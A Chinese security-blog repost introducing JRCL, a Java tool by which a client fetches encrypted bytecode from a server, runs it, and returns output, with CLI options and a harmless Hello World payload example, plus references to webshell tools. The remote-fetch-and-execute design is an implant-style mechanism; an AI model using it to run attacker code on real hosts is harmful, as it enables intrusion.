如何使用JRCL实现Java代码的远程加载

admin 2022年10月29日16:59:37评论110 views字数 2845阅读9分29秒阅读模式

如何使用JRCL实现Java代码的远程加载


 关于JRCL 


JRCL全称为Java Remote Class Loader,是一款功能强大的Java代码远程加载工具。该工具允许广大研究人员以Java类文件的形式将Java字节码发送到目标客户端设备中,并使用Java类加载器(Java ClassLoader)和Refelect API来加载和执行Java代码。目标客户端从远程服务器接收到Java类文件之后,会将代码执行结果返回给服务器端。


其中,Payload必须采用Java便携,并在开启服务器端之前完成代码编译。


 功能介绍 

1、采用客户端-服务器端架构;

2、支持远程加载Java类文件;

3、使用ChaCha20密码在传输过程中对数据进行加密;

4、支持通过参数对工具进行自定义配置;

5、如果服务器重启,则需要使用Keepalive制重新建立通信;


 工具运行机制 


如何使用JRCL实现Java代码的远程加载


 工具安装 


该工具支持在Windows和Linux操作系统上使用,并且需要使用OpenJDK 11和JRE Java包。考虑到工具依赖组件,我们建议广大研究人员使用Java v11或更高版本。


OpenJDK/Java11下载地址

https://www.openlogic.com/openjdk-downloads

接下来,使用下列命令将该项目源码克隆至本地:

git clone https://github.com/joaovarelas/java-remote-class-loader.git

(向右滑动,查看更多)

 工具使用 

$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> 目标设备IP / 绑定的服务器地址
-classfile <arg> 远程加载的字节码.class文件的文件名 (默认: Payload.class)
-classmethod <arg> 调用的方法名称 (默认: exec)
-classname <arg> 类名称 (默认: Payload)
-client 以客户端运行
-help 打印工具帮助信息
-keepalive 保持客户端每X秒从服务器端获取一次Java类文件 (默认: 3 秒)
-key <arg> 以Base64格式设置256位密钥,如果不指定则生成一个新的密钥
-port <arg> port to connect (client) / to bind (server)
-server 以服务器端运行

(向右滑动,查看更多)


 工具使用样例 


假设你的Payload.java文件中包含下列形式的Payload代码(Hello World):

//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}

(向右滑动,查看更多)


接下来,你应该对这个Payload.javaP文件进行编译并生成对应的Payload.class文件。


Java类文件生成完成后,我们就可以运行服务器端进程,并监听所有网络接口上的端口1337:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

(向右滑动,查看更多)


在客户端上,我们需要使用“-client”参数来设置使用相同的JAR包,并使用服务器生成的对称密钥。然后指定要连接的服务器IP地址和端口,我们还可以更改类名和类方法(默认值分别为Payload和String exec())。除此之外,我么还可以使用“-keepalive”参数以在维护连接的同时保持客户端从服务器请求类文件:

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

(向右滑动,查看更多)


 项目地址 


JRCLhttps://github.com/joaovarelas/java-remote-class-loader


参考资料

https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/


https://github.com/rebeyond/Behinder


https://github.com/AntSwordProject/antSword


https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/


https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis


https://xz.aliyun.com/t/2799


https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7


https://venishjoe.net/post/dynamically-load-compiled-java-class/


https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php


https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/


https://openjdk.org/jeps/329


https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html


https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

如何使用JRCL实现Java代码的远程加载



精彩推荐








如何使用JRCL实现Java代码的远程加载如何使用JRCL实现Java代码的远程加载如何使用JRCL实现Java代码的远程加载如何使用JRCL实现Java代码的远程加载

原文始发于微信公众号(FreeBuf):如何使用JRCL实现Java代码的远程加载

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日16:59:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用JRCL实现Java代码的远程加载http://cn-sec.com/archives/1365531.html

发表评论

匿名网友 填写信息